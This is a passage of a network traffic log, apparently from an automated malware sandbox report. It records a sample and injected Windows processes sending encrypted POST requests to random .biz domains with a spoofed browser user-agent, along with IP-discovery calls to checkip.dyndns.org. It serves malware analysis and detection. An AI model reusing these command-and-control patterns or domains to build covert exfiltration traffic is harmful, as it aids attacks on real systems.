Oct 31, 2024 16:03:26.108613014 CET	850	OUT	Data Raw: 7b 98 d5 d1 71 c2 6d 06 46 03 00 00 49 de 03 26 6f 48 e2 ee 10 bc 59 f8 1c 86 64 1c 1a 2b f2 78 f1 5d 1f 2f bf 47 94 6d 86 10 02 a4 07 40 78 bf 09 3f ea ea e2 28 94 6e b3 61 38 b7 78 b9 70 e6 0f b0 39 aa 21 94 7e 2f 94 ff b3 bd c9 e0 fc 14 b9 bd Data Ascii: {qmFI&oHYd+x]/Gm@x?(na8xp9!~//wP=\>f"\Ai]a@Pv?DIqdayFI^/4o+@>~i\|GNNACV^K 5v;nvg<($)*WgGG'D
Oct 31, 2024 16:03:26.954633951 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5d20b1d5fc5bb0d28a522ac6cd04e21c\|173.254.250.77\|1730387006\|1730387006\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49165	18.141.10.107	80	3232	C:\Users\user\Desktop\Y2EM7suNV5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:26.967592001 CET	358	OUT	POST /tldvoryrtfsfyqv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 31, 2024 16:03:26.967603922 CET	800	OUT	Data Raw: 9e 57 73 7a c1 85 5f 8f 14 03 00 00 13 ea eb bd 01 3e 8d 60 a9 f8 34 81 5b 52 80 87 f5 84 b6 ee cf c7 33 b7 7c 2c b6 6f 55 13 76 0c 72 ce 2d 62 56 e3 45 58 9c 78 fb ea 24 b3 42 b4 70 ef 60 dd 4e 1f 55 6c fa cb da 54 96 21 fd 2b 22 9a 12 7e d0 10 Data Ascii: Wsz_>`4[R3\|,oUvr-bVEXx$Bp`NUlT!+"~be_-kT(v;PpxH!@ZVM?Eg)-vuAF=.G_dBkgAk/uWlUFK]6pIw5+^<S2W,
Oct 31, 2024 16:03:28.426038980 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=fb22032b63f9addc56ef7e543e4f3401\|173.254.250.77\|1730387008\|1730387008\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49166	44.221.84.105	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:27.149828911 CET	349	OUT	POST /vowyb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:03:27.149859905 CET	850	OUT	Data Raw: 04 b3 73 f9 85 37 14 d7 46 03 00 00 af 72 0a 60 9f 18 6d 29 fa 39 5f 5a ff a2 d6 ea 6e 36 7d 3e 7b e2 01 87 e6 ab 94 d1 0c c0 4a 1a 8b fa b9 47 70 a1 00 e4 1e 7f b2 a2 0b e1 d1 69 76 32 eb da b7 f4 be ec d4 a6 68 69 3c 8b fb 06 7c 73 9d 75 c4 ff Data Ascii: s7Fr`m)9_Zn6}>{JGpiv2hi<\|su5Zn-&./H'OBjMW&-iY,>i%^e6w3Xf:zlcS1z,];vA~nNl;l,r!%"kdR+c5`U
Oct 31, 2024 16:03:27.859091997 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e8f4388589e4fafb3ae1b7a93da291c2\|173.254.250.77\|1730387007\|1730387007\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49167	172.234.222.138	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:28.557116985 CET	357	OUT	POST /lxhffvipcoeddj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:03:28.557159901 CET	850	OUT	Data Raw: ed fe 44 36 83 df ed 91 46 03 00 00 5a b9 81 ce d0 38 26 5d 35 36 41 f0 21 6f 35 f9 26 7d 13 19 d7 7e 89 f2 a8 8a fb 68 cb 8a cc 49 f3 b5 16 15 99 ee 71 f8 8d 4c 46 64 b3 e2 16 94 b7 90 01 bf cf cd d1 62 07 fe 93 f7 d3 cf 52 93 ef a5 7b fb 14 8f Data Ascii: D6FZ8&]56A!o5&}~hIqLFdbR{"Zb.V'd{U}hnZN>+,$eq]e)9Gj+%tYP,Do,68i[Co~5RrQ\|1q-6+n?ici

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49168	54.244.188.177	80	3232	C:\Users\user\Desktop\Y2EM7suNV5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:29.796509981 CET	346	OUT	POST /aetcw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 31, 2024 16:03:29.796529055 CET	800	OUT	Data Raw: a4 b2 97 e8 67 42 98 0f 14 03 00 00 ac 3d da 3d 4a b4 8a 53 a4 d8 bf 98 b0 60 98 dc d3 e4 2d 80 a2 bd 6d 80 ac d4 2b 39 de b6 b0 37 16 a4 76 fc 18 7f 29 53 1f 08 27 ea b2 aa 7b 05 53 a9 d6 31 ff 12 bb fe 78 b8 28 ac e5 ae 3d 42 39 61 a8 c1 72 83 Data Ascii: gB==JS`-m+97v)S'{S1x(=B9arf@nsPdo\|=m,az>RZc'AnU\>B/{?QLS+=tYP^Vr_ji%81C])s'SDm-@170H+XO<#
Oct 31, 2024 16:03:30.629916906 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ec486cce9ed1af83dfc3f0bd73816716\|173.254.250.77\|1730387010\|1730387010\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49169	172.234.222.138	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:30.573765993 CET	348	OUT	POST /byeyp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:03:30.573781967 CET	850	OUT	Data Raw: d4 30 12 3d 3b f5 19 64 46 03 00 00 60 f4 6b db 53 40 74 48 3e 65 43 87 83 65 d2 65 b5 ac 5b de a8 18 ae 1c 5c cf b3 76 74 0a 56 0a ca f7 7b 13 ca 8b d5 b8 83 0c 6f 71 d4 d2 58 a7 62 55 74 f8 07 8e 8e 1b 78 2f a5 07 c7 ec 2d 40 a0 66 91 90 1f 18 Data Ascii: 0=;dF`kS@tH>eCee[\vtV{oqXbUtx/-@fYY1kq2!]ZtE*;c8cM:9[Z;Yd9]<8GdT/ajm})K)V\+R8w+la<KY,=);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49170	44.221.84.105	80	3232	C:\Users\user\Desktop\Y2EM7suNV5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:31.147794008 CET	360	OUT	POST /ahwrytucofsoghfm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 31, 2024 16:03:31.147842884 CET	800	OUT	Data Raw: 8f 2e 6d 90 f4 11 cb 98 14 03 00 00 9f fd 5e f8 af 42 81 68 ed bc 38 08 f1 1a df 94 c2 32 8b b1 72 b7 00 a8 92 e9 d9 32 4b 73 ba c0 4e ee 0f 28 ac 19 58 0d 21 ca e5 bc 22 9f e3 18 40 6e 65 60 b2 b5 83 d4 00 37 bc 54 49 53 9e 4e 97 b7 d8 ae fc ec Data Ascii: .m^Bh82r2KsN(X!"@ne`7TISN,S{S2iqn6eaV]z \|/5fKSBx9x,wV7,C/pa\U)0<>jZPONM{"E{*{
Oct 31, 2024 16:03:31.715950012 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=76cf0867137b447b455e260880fd9ca5\|173.254.250.77\|1730387011\|1730387011\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49171	18.141.10.107	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:31.774590015 CET	354	OUT	POST /snwkilpnom HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:03:31.774629116 CET	850	OUT	Data Raw: e9 e3 93 99 7b 66 9e fb 46 03 00 00 b2 b3 8a 7f 38 37 85 3c ff 12 7b f5 53 d6 ca f8 52 28 5c 2d a4 ca d6 86 24 f1 4c 06 f7 e4 6c 32 6d f3 ec 71 c7 3a bd a8 0c d7 e6 24 7c b1 33 20 e8 d5 56 88 e6 dc d8 10 42 9d 67 d8 20 19 80 90 82 74 cd e7 a0 71 Data Ascii: {fF87<{SR(\-$Ll2mq:$\|3 VBg tqb;g(k&K0O3iz}. T=CZtoH5%Gg[<FR}d$ivi9*q55Bia(TKm=jT2u\|&M_I+\_]Sl~r\|
Oct 31, 2024 16:03:33.181608915 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2daa1c8b307b6d7f3812c2c3645601d3\|173.254.250.77\|1730387012\|1730387012\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49172	172.234.222.138	80	3232	C:\Users\user\Desktop\Y2EM7suNV5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:31.781491995 CET	357	OUT	POST /dctkayweyupyhl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 31, 2024 16:03:31.781532049 CET	800	OUT	Data Raw: 1d aa 15 8e 24 d2 25 07 14 03 00 00 74 f7 f1 00 59 2e 8d d5 2d cb d2 e7 c3 e1 59 2c b9 23 0a 58 5c 0a 7e 01 07 f5 84 e4 f2 ed 5c 49 fb f3 50 1d 84 a2 14 8d f4 35 f8 d6 f4 b4 5d a3 dc 1f ba 1d f8 f5 0b 68 73 49 a6 1a 1b e1 b5 ac 9e 94 58 1d 6e fb Data Ascii: $%tY.-Y,#X\~\IP5]hsIXnLW-Xc7c/LWxv5qsU<`KT:P/;AE>`TT+ICYXU5tHwSK$pGY]px\e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49173	172.234.222.138	80	3232	C:\Users\user\Desktop\Y2EM7suNV5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:32.683456898 CET	353	OUT	POST /pexnemvkim HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 31, 2024 16:03:32.683512926 CET	800	OUT	Data Raw: a9 f6 b9 21 c6 6d 25 a7 14 03 00 00 80 18 6a e4 76 fd e3 23 55 cf df b0 bd 70 62 84 8c 4c 91 06 8a 5a 1c f5 38 2f be d1 d5 45 b1 6a 66 4c 9a 87 01 21 bb 8e 5b 05 ad 9b 9d 56 1c c2 67 fd 04 a9 7c af d8 fa 1d 6f 9b 74 9a ce 89 1c e4 e0 2a 5e 65 4b Data Ascii: !m%jv#UpbLZ8/EjfL![Vg\|ot^eKglQ;blkml$edINk46M_gJ4"aQ$>P\|F)~XtI#5k5.?SJNqjHJ8cy'<$EY0:hFS0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49174	18.141.10.107	80	3232	C:\Users\user\Desktop\Y2EM7suNV5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:33.592037916 CET	345	OUT	POST /k HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 31, 2024 16:03:33.592037916 CET	800	OUT	Data Raw: 00 7b d9 bf bf 9b 9e 3b 14 03 00 00 8c 8d 75 09 6e 4f 3c a1 ac a1 d3 cc a5 00 ca 08 bf 28 f5 54 33 29 d6 b5 f1 3f c8 04 41 71 10 93 04 5c fc d9 52 32 03 5b 71 e6 e8 98 6c e0 63 bb 3f 4a 23 62 f8 a0 73 47 c8 ba 0f c0 60 d3 bb 85 a3 5b a6 ca 12 22 Data Ascii: {;unO<(T3)?Aq\R2[qlc?J#bsG`["Y4\@@SCcv[1V:z.;#ll06F5YGZci_4g3X5 n[<nhVPw27<o\|6-jdygd!
Oct 31, 2024 16:03:35.020755053 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=52a9a4fc63502485d54543c2b664e4e3\|173.254.250.77\|1730387014\|1730387014\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49175	82.112.184.197	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:33.608386040 CET	348	OUT	POST /nfvcpi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:03:33.608431101 CET	850	OUT	Data Raw: 65 0c 16 a9 c7 1c 84 c2 46 03 00 00 bd 1b fb bc fa 62 cd a6 4b b4 ac 59 d8 2e d9 98 e0 ca 9e 22 6d 2a de 92 2c a7 01 1d 6a 38 0c 76 3e 3a 51 ab b4 be dc 9b 91 aa ff 23 e1 ca 45 95 3a 25 55 8c c1 3f 09 17 8d 82 f8 14 99 bb cb 31 63 70 5b f3 d9 87 Data Ascii: eFbKY."m,j8v>:Q#E:%U?1cp[Q"?B}iX}Q}WOBB6RD9a1sOKc#8x.+RgD$iOUwhQ7VFmB8FMc:d^pcEBsis

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49176	82.112.184.197	80	3232	C:\Users\user\Desktop\Y2EM7suNV5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:35.795125008 CET	344	OUT	POST /tl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 31, 2024 16:03:35.795175076 CET	800	OUT	Data Raw: 41 63 cd cf fd 06 9d 72 14 03 00 00 99 ce 02 81 74 2d 66 8a bf 0c c9 97 ac a7 c2 43 cb d6 5b 73 a4 53 21 50 f5 18 96 aa f6 17 8f af e3 e5 1d cd 57 d2 6a 73 32 a8 29 8a ac bb d7 fd 18 5a 44 e7 20 55 10 2b 7e d5 0a a2 6d d3 bb 08 9a f1 15 98 87 eb Data Ascii: Acrt-fC[sS!PWjs2)ZD U+~mdN]irUIXv:M%\|r5m8VT0bi9:;!Xp6x)tI.<3I:M\UL74tN^e'}N>;5I+dyZ`81

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49177	82.112.184.197	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:42.112241030 CET	352	OUT	POST /flxufqssnv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:03:42.112835884 CET	850	OUT	Data Raw: d9 b3 f8 df 76 7d ef 37 46 03 00 00 05 c1 f1 78 2a 8d ab 69 4c c1 c4 90 2b 90 ac 18 eb 93 64 97 45 84 76 c9 05 0a 78 51 d0 c0 6c 2b 82 2b a8 7f 91 58 25 27 8a c0 c8 e5 45 57 45 ad 65 a5 90 2e 94 94 ea fd 27 d8 28 25 6e 4f d0 da 3a e4 f3 fc b1 d0 Data Ascii: v}7FxiL+dEvxQl++X%'EWEe.'(%nO:27b0\~mcX$.cA}u1!j5~H^mtW/x6Z0TOiVs!xsqw.F:b\Gfp<6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49178	82.112.184.197	80	3232	C:\Users\user\Desktop\Y2EM7suNV5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:44.407336950 CET	352	OUT	POST /wgoswrrmiu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 31, 2024 16:03:44.407458067 CET	800	OUT	Data Raw: 19 83 e9 b9 6d 55 41 86 14 03 00 00 25 f4 0f 88 a1 84 78 6d fb 81 51 f8 1f 13 da 41 84 c1 ec cb 70 7f 4f a1 11 4a b7 f6 b6 be 64 d8 eb ab 6b cc 3e 5b 73 48 6e 62 4b dc 74 11 5c 1d 24 37 c1 2a 09 66 73 bd 67 80 27 aa 15 a6 3e 87 66 eb b8 74 3e ea Data Ascii: mUA%xmQApOJdk>[sHnbKt\$7fsg'>ft>GaUArv(S#^cJdcSFcGL[@N2JA7By^'[-oM.xZACKYA$be_8hQ[G}-4>y%\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49179	193.122.130.0	80	3736	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:46.605243921 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 31, 2024 16:03:47.261281967 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 15:03:47 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5b226598e6b52a5f225b438b54ab721f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.77</body></html>
Oct 31, 2024 16:03:47.275705099 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 31, 2024 16:03:47.433690071 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 15:03:47 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7317d7dffc1668c9071c058c57ed29fc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.77</body></html>
Oct 31, 2024 16:03:56.552380085 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 31, 2024 16:03:56.715445042 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 15:03:56 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 37fc1d62ea315e99ce87d1585b4a30dc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.77</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49181	82.112.184.197	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:50.680145025 CET	356	OUT	POST /axkwegdbohu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:03:50.680202007 CET	850	OUT	Data Raw: 1a 77 1d e9 80 37 4d 49 46 03 00 00 51 6a ac ff 7b 39 b8 a6 53 97 ec 87 32 9b 83 f2 cc b9 8c 1e ae 06 04 00 0c 96 b9 6d bf 52 2e 22 2a d4 30 c8 52 7e 4c 4e e5 f4 8b c8 65 a0 b1 f8 29 e0 00 bc 18 ef e0 9c f3 e2 73 b7 d5 b1 5f 61 f8 e5 95 3e c2 59 Data Ascii: w7MIFQj{9S2mR."*0R~LNe)s_a>YF2C`iw=mFGX^?j{L?t-c>}k\|~.{z8z<}jYUD[1>U_O)#Y^wEnDZzLFGQnpsO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49183	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:58.610181093 CET	352	OUT	POST /tyarsvs HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
